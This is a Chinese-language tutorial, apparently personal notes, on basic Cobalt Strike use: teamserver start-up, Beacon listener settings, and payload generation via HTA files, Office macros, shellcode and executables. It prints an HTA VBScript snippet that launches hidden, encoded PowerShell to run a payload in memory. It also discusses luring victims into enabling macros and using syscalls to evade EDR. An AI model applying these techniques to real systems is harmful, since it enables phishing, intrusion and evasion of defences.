启动服务器

1
./teamserver <服务端ip> <CS服务端密码>

创建监听器

上线客户端后,首先创建一个Beacon

image-20250822161548347

image-20250822161638306

可以看到这里有好几个类型,当然最常见的就是HTTP Beacon

Beacon是一种核心的远程控制组件,是植入目标主机后用于维持访问、执行命令、上传下载文件、横向移动等操作的“后门”,我们可以以此为载荷执行命令、上传下载文件、键盘记录、屏幕截图、横向移动、提权等

正如上图,其支持多种协议,用于不同的场景下

🔄Beacon的通信模式

  • 异步通信:每隔一段时间(由 Sleep 设置)主动向 C2 请求任务并回传结果
  • 交互式通信:实时响应命令(Sleep 设置为 0),适合快速操作但隐蔽性较差

External C2外部控制通道:自定义通信协议,将 Beacon 与 Team Server 连接起来(使用 Python、C、Go 等语言编写自己的第三方控制器和客户端)

Foreign HTTP/HTTPS外部 Beacon 会话:已经通过其他工具植入了 Payload,但想用 Cobalt Strike 的 GUI 来控制它,使用端口转发、SSH 隧道或代理,将外部 Beacon 的通信流量导入 Cobalt Strike

参数解释(以HTTP Beacon为例):

  1. HTTP Hosts:用于指定 C2 通信的域名或 IP 地址。可以添加多个,支持轮询策略
  2. Host Rotation Strategy:主机轮换策略,round-robin 表示 Beacon 会轮流使用多个 HTTP Host 进行通信
  3. Max Retry Strategy:最大重试策略,none 表示 Beacon 不会重试连接失败的主机
  4. HTTP Host (Stager):初始阶段使用的主机地址

设置攻击载荷

之后就是去生成具体payload使其运行在目标主机中,来连接我们的监听器

image-20250822172139975

HTML Application (HTA文档)

生成一个 HTML 应用程序(.hta 文件),嵌入恶意脚本,执行后可植入 Beacon。适用于钓鱼攻击,通过网页或邮件诱导用户点击

image-20250822172122236

  1. Executable:HTA 文件中嵌入一个可执行文件,但容易被杀软拦截
  2. PowerShell:HTA 文件中嵌入 PowerShell 脚本,适合绕过杀软
  3. VBA:HTA 文件中嵌入 VBA 脚本,适合伪装成 Office 攻击
1
2
3
4
5
6
7
8
9
10
<script language="VBScript">
Function var_func()
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run "powershell -nop -w hidden -encodedcommand <base64字符串>", 0, true
End Function

var_func
self.close
</script>

可以看到内嵌了 VBScript 代码,并调用 Wscript.Shell 对象来运行一个 PowerShell 命令,解码后还要解压缩一个 Gzip 压缩过的数据流,并通过IEX直接在内存中执行代码

Office Marce (Office宏)

This package generates a VBA macro that you may embed into a Microsoft Word or Excel document. This attack works in x86 and x64 Office on Windows.

此软件包会生成一个 VBA 宏,您可以将其嵌入到 Microsoft Word 或 Excel 文档中。此攻击适用于 Windows 上的 x86 和 x64 Office。

宏是一种自动化工具,它可以在软件中执行一系列预定义的操作,通常用于简化重复性任务,使用 VBA(Visual Basic for Applications) 编程语言编写

将VBA脚本代码植入到Office文档中,用户无感知打开的情况下,执行Office文档中内嵌的恶意代码

image-20250822211824905

创建宏,将代码复制上去后保存

image-20250822212128922

不过现代Office中默认禁用宏,诱导受害者也许需要一些社会工程学的手法

Payload生成器&有效载荷生成器

image-20250822213827689

以python为例,其生成后只是一个十六进制格式的 shellcode,需要加载进内存中执行,便于进行免杀

初始 shellcode 很小,执行后会连接 C2 服务器下载完整 Beacon

还可以看到另一个选项是有效载荷生成器 (stageless),其shellcode中已经包含完整 Beacon,不需要再连接 C2 下载

根据使用场景进行选择,依赖网络连接或者是避免防火墙等则选择前者体积小的;离线执行或持久化选择后者

Windows可执行程序

同样也有stageless版本的,但落地一定会被杀软爹抬走,具体环境具体分析

image-20250822223812446

  1. Exit Function:决定了Beacon执行完毕后如何退出内存

    Process:Beacon 退出时会终止整个进程。适合独立运行的 EXE 文件,但如果嵌入到其他程序中,可能会导致目标程序崩溃

    Thread:Beacon 退出时只终止当前线程。适合注入到其他进程或作为 DLL 执行,不影响宿主程序

  2. System Call:系统调用,从一定程度上绕过用户态的API调用,一定程度上避免EDR的检测

    None:标准 Windows API

    Direct:直接系统调用

    Indirect:间接系统调用,通过中间跳板或混淆方式调用 syscall

不过需要注意的是,并不是所有的操作都能够进行系统调用,一般在自己的进程空间中操作都没什么问题

至于其它的操作,也要设定场景下才能利用,这里只是记录基础使用方法。最后想说的是,Cobalt Strike更多是为团队协作而生,其中一些操作也可以通过其它方式去实现,当然个人认为也无需完全过于依赖,配合其它手段食用也许更佳